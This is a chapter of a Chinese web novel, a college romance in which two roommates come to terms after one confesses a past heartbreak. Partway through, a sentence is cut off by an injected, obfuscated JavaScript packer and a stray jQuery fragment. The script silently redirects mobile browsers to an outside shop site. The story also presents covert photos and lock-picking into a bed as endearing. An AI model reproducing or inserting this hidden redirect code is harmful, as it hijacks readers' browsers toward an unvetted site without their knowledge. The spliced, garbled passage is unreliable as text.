简逾白发现自己最近不对劲。
具体哪里不对劲，他列了一张清单，写在自己那本笔记本的最后一页。清单上的内容如下：
第一，上课走神的频率从原来的“偶尔”变成了“常态”，走神的内容从“中午吃什么”变成了“江欲燃今天穿的那件黑色卫衣领口为什么那么大”。
第二，每天晚上熄灯之后，他开始主动往旁边挪半个枕头的位置，给江欲燃腾地方。这种行为发生在他意识到自己在做什么之前，像某种条件反射。
第三，他会在江欲燃出门买饭的时候，无意识地把他桌上散落的刻刀收进铁盒里，把木屑扫进垃圾桶，把冰美式的空杯子拿去冲洗干净放回原位。
第四，也是最可怕的一条——昨天下午他在图书馆自习，旁边的女生不小心碰掉了他的笔袋，他低头去捡的时候，余光扫到那女生的手腕上戴了一条红绳，他盯着那条红绳看了三秒，脑子里冒出来的第一个念头是：没江欲燃编的好看。
简逾白合上笔记本，把它塞进书架最里层，然后仰面躺倒在椅子上盯着天花板，长长地呼出一口气。他想，完了。他不是不对劲，他是有病了。而且这个病的病原体就坐在对面那张桌子前面，正低着头刻一块新木头，嘴里哼着不知道什么调子，心情很好的样子。
简逾白把视线移过去，落在江欲燃低垂的侧脸上。秋日下午的阳光从窗户斜照进来，把江欲燃的半边脸照得透亮，下颌线到脖颈的弧度干净利落，睫毛在下眼睑投下一小片整齐的阴影。他哼的那首歌调子很轻，听不出是什么，但尾音总是懒洋洋地拖一下，像他整个人一样。
简逾白看了几秒，忽然开口：“你哼的什么？”
江欲燃没抬头：“随便瞎哼的。”
“挺好听的。”
江欲燃刻刀停了一下，抬起眼来看他。那个眼神里有一种简逾白不太熟悉的东西，不是平常那种直白热烈的注视，而是一种更复杂的、带着一点探究和犹豫的目光。他看了简逾白几秒，低下头继续刻木头，但哼歌的声音停了。
简逾白注意到了。他之前问“你以前对那个人也这样吗”的时候，江欲燃也是这个反应——不是生气，不是回避，而是从某种敞开的、轻快的状态里缩回去了一点点，像一只猫把伸出去的爪子收了回来。
简逾白没追问。他从椅子上站起来，走到江欲燃桌边，弯腰看他手上那块木头。还没成型，但已经能看出来一个轮廓，像是某种动物形状的吊坠。
“这次刻什么？”
“一只猫。”江欲燃把木块翻了个面给他看，“你上次说楼下那只橘猫挺可爱的。”
简逾白想起来了。前几天他们去食堂的路上经过花坛，一只胖橘猫蹲在台阶上舔爪子，他蹲下来摸了两把，随口说了一句“还挺可爱的”。他说完就忘了，但江欲燃记住了。
“……你记性这么好吗？”
“分事。”江欲燃继续刻猫耳朵的弧度，“跟你有关的都记得。”
简逾白站在他旁边，忽然觉得站也不是坐也不是，耳朵又开始发热。他清了清嗓子，转身走回自己桌前坐下，拿起手机假装刷微博。但屏幕上是微博界面没错，他一个字都没看进去。余光里江欲燃低头刻着那只猫，嘴角轻轻弯着，像知道他在偷看。
周三下午没课，简逾白被周扬拉去参加了社团招新的摆摊活动。他本来不想去，但周扬说“你就来帮个忙坐一会儿就行，不用干别的”，他想了想反正闲着也是闲着，就去了。
社团是摄影社，摊位搭在食堂门口那条主干道上，摆了几张桌子上面铺着社团成员拍的照片。周扬是副社长，忙前忙后地跟来咨询的新生介绍社团活动，简逾白坐在桌子后面帮他看着传单和报名表，偶尔有人来问他就指一指周扬说“找他”。
下午三点多的时候，人流量少了一些。简逾白低头刷手机，忽然听见周扬在他旁边坐下来，压低了声音问了一句：“哎，你跟你那个室友，关系还挺好的？”
简逾白手指停在屏幕上，抬头看他：“怎么了？”
“没怎么，就随便问问。”周扬拿起桌上的一瓶水拧开喝了一口，“你之前不是还找房子要搬走吗，后来也不搬了。”
简逾白把手机翻过去扣在桌上：“……嗯，不搬了。”
“你室友那人挺有意思的。”周扬说，“上周他来摄影社的活动室找过你一次，你不在，他就站在门口看了两眼，然后问了我一句‘简逾白的相机是他自己买的还是租的’。”
简逾白愣了一下：“他问这个干嘛？”
“不知道啊。我就说你自己买的，他点了下头就走了。”周扬把水瓶放回桌上，“你别说，你室友那张脸是真能打。我们社好几个女生看见了都在问‘那人谁啊哪个院的’。”
简逾白没接话。他低头把手机翻过来，解锁，点开微信，江欲燃的头像安静地躺在列表里，最新一条消息还是早上发的“中午食堂有糖醋排骨，给你带了一份”。他回了一个“好”字，江欲燃回了一个猫猫点头的表情包。
简逾白盯着那个表情包看了几秒，把手机塞进口袋里。
收摊的时候已经快五点了，简逾白帮着周扬把桌椅搬回活动室，然后一个人往宿舍走。走到半路上手机震了一下，他掏出来一看，是江欲燃发来的：“晚上不回来吃饭，学生会聚餐，冰箱里有煲仔饭。”
简逾白回了个“好”，把手机揣回兜里。刚走了两步手机又震了，他又掏出来看，还是江欲燃：“煲仔饭在微波炉里转三分钟，别转太久会干。”
简逾白又回了个“好”。又走了两步手机又震，他叹了口气掏出来：“算了你等我回来给你热。”
简逾白终于忍不住了，直接打了个电话过去。对面接起来，背景音嘈杂，有人在大声笑闹，江欲燃的声音从那堆噪音里钻出来，带着笑意：“怎么了？”
“你发消息能不能一次发完？”
“我这不是怕你忘了嘛。”
“我又不是三岁小孩。”
对面安静了一下，然后江欲燃的声音低了一点，贴得离听筒近了些：“那你晚上等我回来再吃饭，别自己先吃了。”
“知道了。”简逾白挂了电话，把手机揣回兜里，耳朵尖又开始发烫。他加快脚步往宿舍楼走，想把那点莫名其妙的燥热甩掉。
晚上简逾白一个人在宿舍。他把桌上的台灯打开，坐在桌前写了一会儿作业，写了半页就写不下去了。屋里太安静了。江欲燃不在的时候，这间宿舍安静得像另一个世界。他起身去倒了杯水，回来坐下又写了两行，又站起来去阳台看了一眼那把已经干透了的伞，收回来折好放回江欲燃的桌边。
他在江欲燃的桌前站了几秒。桌面收拾得很干净，铁盒里整整齐齐地码着几把刻刀，旁边搁着半块还没刻完的木头，那只猫的形状已经出来了，耳朵尖尖的，尾巴弯弯的，蜷着身子像在睡觉。简逾白伸手碰了一下猫耳朵的弧度，指尖的触感温润光滑，被砂纸打磨得很仔细。
他收回手，坐回自己桌前，打开电脑看了会儿视频，看了十分钟不知道在看什么，又关掉了。他拿起手机看了一眼时间，八点四十。又看了一眼微信，江欲燃没有发新消息来。
简逾白把手机放在桌上，盯着它看了几秒，然后拿起书翻了翻，翻了两页又放下了。他觉得自己像一只被关在笼子里的仓鼠，在屋里兜着圈子，怎么都不对劲。
九点半的时候门锁响了。
简逾白几乎是立刻从椅子上弹了起来，但他迅速压住自己，又坐了回去，假装在认真看书。江欲燃推门进来的时候身上带着一点淡淡的酒气，不算重，脸颊微微泛着红，整个人比平时松弛了不少。他换了拖鞋走进来，把外套挂在椅背上，转过头看见简逾白坐在桌前看书，就走过来弯腰看了一眼他手里的书。
“……你书拿反了。”
简逾白低头一看，果然，书封朝下，页脚朝上。他的耳朵“腾”地一下红透了，把书翻过来合上扔在桌上：“我看完了。”
江欲燃没拆穿他。他直起身走到冰箱前打开门，把那份煲仔饭拿出来，撕开保鲜膜放进微波炉里，按了三分钟。微波炉嗡嗡地转着，江欲燃靠在料理台边上，侧头看着简逾白的方向，眼神有点软，像喝了酒之后整个人滤掉了那层懒散的壳，露出了底下更松弛、更不设防的东西。
“你今天去社团帮忙了？”
“嗯，摄影社的招新。”
“好玩吗？”
“就坐着看摊，没什么好玩的。”简逾白站起来走到微波炉旁边，“你聚餐吃饱了没？”
“吃了。”江欲燃说，“但还能再陪你吃点。”
微波炉“叮”了一声，江欲燃打开门把煲仔饭端出来，用筷子搅了搅里面的腊肠和青菜，放到简逾白面前的桌上。他自己拉了张椅子坐在对面，胳膊搭在桌沿，下巴搁在胳膊上，看着简逾白吃。
简逾白被他盯得有点不自在，夹了一块腊肠塞进嘴里嚼了嚼：“你别这么看我。”
“好看。”
“什么？”
“我说你好看。”江欲燃的声音还是那样软软的，带着酒意，但每一个字都咬得很清楚，“你低头吃饭的时候睫毛会碰到碗沿。”
简逾白手里的筷子顿住了。他咬着那口饭不知道该咽还是该吐，咽下去吧喉咙有点紧，吐出来吧又太浪费。最后他硬把那口饭咽下去了，低头扒了两口饭假装没听见。
江欲燃没再重复。他就那样趴在桌沿上，偏着头看简逾白一口一口把饭吃完。简逾白吃完最后一口放下筷子的时候，看见江欲燃的眼皮已经往下耷拉了，像一只困了还硬撑着不肯睡的猫。
“你去洗把脸。”简逾白站起来收拾碗筷，“洗完了睡觉。”
江欲燃“嗯”了一声，撑着桌子站起来，摇摇晃晃地走向卫生间。简逾白看着他那个走直线的能力都欠奉的背影，叹了口气跟过去，在他后脑勺上轻轻拍了一下：“洗把脸清醒一下。”
江欲燃拧开水龙头，双手撑在洗手台两边，低着头让水哗哗地冲了一会儿，然后抬头看了一眼镜子里的自己。简逾白靠在门框上看着他，两个人从镜子里对视了一瞬。江欲燃忽然笑了，伸手关了水，转过身来，额头轻轻抵在了简逾白的肩膀上。
“……逾白。”
“嗯。”
“我今天在聚会上，有人问我有没有喜欢的人。”
简逾白后背绷了一下：“……你怎么说的？”
“我说有。”江欲燃的声音闷在他肩窝里，“然后他们问我谁啊，我没说。”
简逾白站在那没动，江欲燃的额头抵着他肩胛骨的位置，呼吸透过薄薄的T恤布料透进来，温热又均匀。他垂在身侧的手指微微蜷了蜷，张开，又蜷了蜷，最后抬起来落在江欲燃的后脑勺上，轻轻揉了揉那些碎发。
“那你为什么不说？”
江欲燃沉默了几秒。然后他闷闷的声音从肩窝里传出来，带着一点含混的笑意：“因为说了的话，他们会起哄。起哄的话你会不高兴。”
简逾白的手指停在他后脑勺上。他想说“我不会不高兴”，但话到嘴边咽回去了，因为他自己也不确定自己到底会不会不高兴。他只知道江欲燃这个人，在喝了酒、卸了那层懒洋洋的壳之后，说出来的每一句话都直白得让人接不住。
“去睡吧。”简逾白收回手，偏过头，“你站都站不稳了。”
江欲燃从他肩上抬起头来，眼尾那颗小痣因为酒意显得比平时更红，整个人看起来柔软又毫无防备，像一只把肚皮露出来了的猫。他看了简逾白一眼，那一眼很轻，但带着某种沉甸甸的分量，然后他转身走向床边，爬上去之后侧躺着，脸朝墙那边蜷起来，很快就没了动静。
简逾白站在卫生间门口，看着那个蜷成一团的背影，忽然想起一件事——江欲燃每次喝了酒，不管多困，都要先确认他吃了饭、洗漱了、在床上躺好了，然后自己才肯睡。今天也一样，明明眼皮都快合上了，还是撑着等他吃完煲仔饭，才去洗脸。
简逾白关了灯躺到自己床上的时候，侧过头看了一眼旁边。江欲燃在他自己那张床上，背对着他蜷着，呼吸已经平稳下来。简逾白在黑暗里看了那个背影很久，然后伸出手，隔着一小段距离，指尖虚虚地碰了碰那个背影的方向，又收回来了。
他闭上眼，心想，等他明天清醒了，我要好好问问那个人到底是什么事。
第二天早上江欲燃醒了之后果然一脸没事人的样子，洗漱完了坐在桌前吃早饭，胃口很好的样子，好像昨晚那个把头抵在别人肩膀上、说“说了的话你会不高兴”的人不是他。简逾白坐在对面咬着包子，用审视的目光盯着他看了三分钟，江欲燃被盯得终于放下筷子：“……你看什么？”
“你昨晚说的事你还记得吗？”
江欲燃的眼神几不可查地闪了闪，然后他垂下眼，拿筷子戳了戳碗里的粥：“……记得。”
“那你没什么要跟我解释的？”
江欲燃沉默了一瞬，然后他说：“我告诉你一个事，你听了别跑。”
简逾白把包子放下：“你又说跑，我什么时候跑了？”
“昨晚以前没有，听完之后不确定。”江欲燃的语气很平静，但握着筷子的手指收紧了，“你要听吗？”
简逾白看着他那只手，看见他指节泛白的力度，然后说：“听。”
江欲燃放下筷子，靠在椅背上，偏过头看着窗外的梧桐树，视线落在一个很远的地方。他开口的时候声音比平时低一些，也慢一些，像在从很深的地方把一些沉了很久的东西往上捞。
“我高一的时候认识了一个人。”他说，“大我一届的学长，叫陈屿。”
简逾白没说话，安静地听着。
“他是我隔壁班的，打篮球认识的。那时候我刚转学过去，谁都不认识，在球场边上看人打球，他走过来问我要不要一起。他长得挺好看的，笑起来有两个酒窝，对人特别热情。后来我们就熟了，他带我认路、介绍朋友给我、帮我补数学。”江欲燃的语速很慢，像在回忆一些很久远的东西，“我当时觉得自己运气特别好，能遇到这样的一个人。”
“后来呢？”
“后来我们成了那种……比朋友更亲近的关系。没有明说，但谁都看得出来。他会等我下课一起吃饭，下雨了给我送伞，我发烧了他翘课来宿舍照顾我。我那时候觉得，这个人就是我这辈子想要一直待在一起的人了。”江欲燃的声音在这里顿了一下，喉结轻轻滚动了一下，“然后他高三了。他说他要好好准备高考，我们那段时间见面少了很多。我以为是正常的，高三嘛，忙，我能理解。”
“他考上了外地的大学。”江欲燃的声音慢慢低下去，“走之前他来宿舍找我，跟我说了一句话。”
“……什么话？”
“他说，欲燃，你还小，你以后会遇到更好的人。”江欲燃把这句话一个字一个字地重复出来，语调平得像在背书，“说完他就走了。我给他发消息他不回，打电话他不接，后来他换号了，我从共同朋友那里听说他交了女朋友。”
简逾白的呼吸放轻了。他看着江欲燃的侧脸，那张脸上没有什么剧烈的表情波动，但窗外的光线照过来，照见他放在桌沿的手背，那上面有一道浅浅的、泛白的旧疤痕。
“我那时候干了很多蠢事。”江欲燃说，“给他刻过一枚平安扣，桃木的，他没收。我追到他学校门口蹲了一整天，他没出来见我。我给他写了一封很长的信，他退回来了，原封未动。后来我就……不找了。”
他说完最后三个字之后安静了一会儿。宿舍里只有窗外风吹梧桐叶的沙沙声，和远处操场上隐约传来的广播声。简逾白坐在对面，看着江欲燃垂下去的眼睫，看着他那颗小痣安静地停在眼尾，心里像被什么东西攥住了，又酸又涨。
“那你……”简逾白开口，发现自己的嗓子有点紧，“你遇到我之后做的那些事——爬床、偷拍、编头发——是因为怕我跟他一样跑掉？”
江欲燃没有否认。他偏过头来看向简逾白，眼里的东西很复杂，有愧疚，有坦荡，也有一丝很浅很浅的、被剖开之后露出来的脆弱。他说：“我知道我做那些事很过分。我知道换任何一个人都会跑。但我控制不住。我一想到你可能也会像他一样，说走
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691758|207914||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
就走，再也找不到——”
他停住了。他握着桌沿的手指收得更紧，骨节泛白到近乎透明，像要把那截木质的桌边捏碎。
简逾白站起来，绕过桌子走到他面前。江欲燃抬起头来看他，那双眼睛里没有平时那种懒洋洋的笑意，干干净净地映着简逾白的脸，像一面被擦得很亮的镜子，不藏任何东西。
简逾白伸手拿过他攥着桌沿的那只手，把蜷紧的手指一根一根掰开，然后把自己的掌心贴了上去。江欲燃的指尖冰凉，掌心却烫，两种矛盾的温度叠在一起，像他这个人一样。
“江欲燃。”简逾白说，“我那天晚上说我不跑，是真的。”
江欲燃没说话，但他的指尖在简逾白的掌心里轻轻蜷了一下。
“但你以后不许再偷拍我了。”
“……嗯。”
“也不许在绳子里编奇奇怪怪的东西。”
“……嗯。”
“也不许半夜撬锁钻我被窝。”
江欲燃抬起眼：“这个能不能商量一下？”
简逾白：“……不能。”
江欲燃不说话了，但嘴角弯了一下，像一只被骂了但知道自己还是会被纵容的猫。他低下头，额头轻轻抵上简逾白的手背，安静地靠了一会儿。简逾白感觉到他掌心里那只手的颤抖终于停了，指尖在回暖，一点一点地，像春天化冻的河。
“逾白。”江欲燃的声音闷在他手背上。
“嗯？”
“你刚才说的不算数。”
“哪句？”
“半夜那个。你睡觉会踢被子，我不看着你你明天要感冒。”
简逾白：“……我什么时候踢被子了？”
“前天的、大前天的、上周三的。你自己不知道。”
简逾白张了张嘴，发现自己反驳不了，因为他的确每天早上醒来被子都歪到床尾去了。他之前没多想，现在想来，每天半夜有人帮他重新盖好被子然后搂住，那不叫“钻被窝”，那叫“物理镇压踢被子”。
“……你强词夺理。”
江欲燃终于笑出来，松开了他的手。他看着简逾白的眼睛，认认真真地说了一句：“我以后不会再做那些让你不舒服的事了。偷拍的已经删了，头发不会再编了——”
“撬锁钻被窝呢？”
“那个待定。”
“江欲燃。”
“好，不撬锁。”江欲燃举起双手做投降状，“我用走的，光明正大从你床梯爬上去。”
简逾白觉得自己说不过他。他松开江欲燃的手转身走回自己桌前坐下，拿起那个没吃完的包子咬了一口。包子已经凉了，但他嚼了几口咽下去，忽然觉得心里那块堵了好几天的石头终于挪开了一点。
他想，原来是这样。
原来江欲燃做的那些疯事，底色是怕。跟那个人有关，跟他自己有关，跟一个没被好好告别、被留在原地的少年有关。那些行为过分是真的，但那份怕也是真的。简逾白不知道自己什么时候开始能分辨这两件事了——以前他只看见那些过分的举动，现在他能看见举动的底下是什么。
他咬着凉掉的包子想，自己大概是彻底栽了。
下午有课，简逾白收拾书包出门的时候，江欲燃靠在门口穿鞋，头也不抬地说了一句：“下课我接你。”
“不用，就两节课。”
“那我在食堂门口等你。”
“江欲燃。”
“我在教学楼门口等你。”
简逾白：“……随你。”
江欲燃抬起头来笑了一下，那笑容里有一种很干净的东西，跟平时的懒散不一样，像雨后的天，透亮的、不设防的。
简逾白背着书包出了门，走在去教学楼的路上，风从侧面吹过来，凉丝丝的。他把外套拉链往上拉了拉，忽然发现自己穿的是江欲燃那件深灰色的外套——早上迷迷糊糊套上的，没注意。袖口还是长了一截，他挽了两圈，衣领上残留的木质香被风吹得若有若无。
他低下头笑了一下，把外套拢了拢，加快脚步走进了教学楼。
两节课上得比平时专注。简逾白坐在第二排靠走道的位置，认认真真地记了笔记，中间还举手回答了一个问题，把旁边坐的周扬吓了一跳。下课之后周扬凑过来：“你今天怎么这么认真？”
“我哪天不认真？”
“你上周连着两节课在笔记本上画小猫你知道不？”
简逾白合上笔记本的动作顿了一下：“……什么小猫？”
周扬伸手翻他的笔记本，翻到某一页指给他看。简逾白低头一看，笔记本左页的空白处画了一只蜷着身子打盹的小猫，耳朵尖尖的，尾巴弯弯的——跟他昨天在江欲燃桌上看到的那块木头上刻的猫一模一样。
简逾白盯着那只猫看了三秒，“啪”地一声合上了笔记本：“……我乱画的。”
周扬一脸“我信你才有鬼”的表情，但没追问，笑着收拾书包走了。
简逾白一个人坐在教室里，把笔记本翻开又看了一眼那只猫。线条很简单，几笔勾出来的，但耳朵的弧度、尾巴的弯度、蜷着身子的姿态，跟他昨天在江欲燃桌上看的那块木头上的猫分毫不差。他当时就站在江欲燃桌边看了几眼，余光扫过去扫过来，一共也没超过十秒钟。
但他记住了，而且画出来了。
简逾白深吸一口气把笔记本塞进书包，站起来往外走。走到教学楼门口的时候，他看见江欲燃站在台阶下面那棵银杏树旁边，换了一件深蓝色的卫衣，双手插兜靠在树干上，低头看手机。金黄色的银杏叶落了他半肩膀，他没拍，就那样静静地站着，像一幅被框起来的画。
简逾白走下台阶，江欲燃听见脚步声抬起头来，把手机收进口袋，朝他笑了一下。
“走吧。”
“你等了多久？”
“没多久，刚到。”江欲燃伸手把他肩上落的一片银杏叶摘下来，随手夹进了自己卫衣的口袋里。
简逾白看着他把叶子收起来，问了一句：“你存叶子干嘛？”
“好看。”江欲燃偏了偏头，“像你。”
简逾白耳朵又开始发热了。他加快脚步往食堂方向走，边走边头也不回地说：“你今天晚上不许爬我床。”
“你昨天晚上把被子又踢到腰下面了。”
“我自己会盖。”
“你睡着了不会。”
“——江欲燃。”
“好，不爬。”江欲燃跟上来走在他旁边，声音里带着笑，“我打地铺，你被子掉了我就帮你盖一下，保证不上床。”
简逾白脚步顿了顿，偏过头看了他一眼。江欲燃侧脸被银杏树缝隙里透下来的光切成明暗两半，眼尾那颗小痣在光影交界的地方安安静静地躺着，嘴角弯着一个很浅的弧度。简逾白看着他，忽然觉得这个人真的变了很多——从第一天晚上那个坐在他床尾一言不发的黑影，到现在这个会在银杏树下等他下课、把落叶收进口袋的人。
变了很多，但有些东西没变。目光还是那样追着他，视线还是那样绵密，像一层薄薄的蛛网。只是现在简逾白不再觉得那张网是束缚了。
他收回视线，继续往前走，嘴里嘟囔了一句：“随你吧。”
江欲燃在他旁边笑了一声，那笑声被秋风扬起来，飘进满地金黄的落叶里。
晚上简逾白躺在床上，侧过身看着旁边地上铺的那张床垫。江欲燃真的打了地铺，裹着一条薄被子蜷成一团躺在地上，脸朝他的方向，已经闭着眼呼吸平稳了。简逾白看了一会儿，伸出一条手臂搭在床沿上，垂下去，指尖悬在江欲燃脸的上方，隔着一寸的距离，虚虚地描了一遍他眉骨的弧度、鼻梁的线条、嘴唇的形状。
然后他收回手，翻了个身，把脸埋进枕头里。枕头上有木质香，是江欲燃的。他闻着那个味道闭上眼，心想，秋天怎么过得这么快，才几周而已，他就从“这个人有病”走到了现在这一步。
窗外的银杏叶还在落，一片一片，落在阳台上，落在那把晾干的伞上，落在这个慢慢变暖的秋天里。
/
第五章/完/@盐心??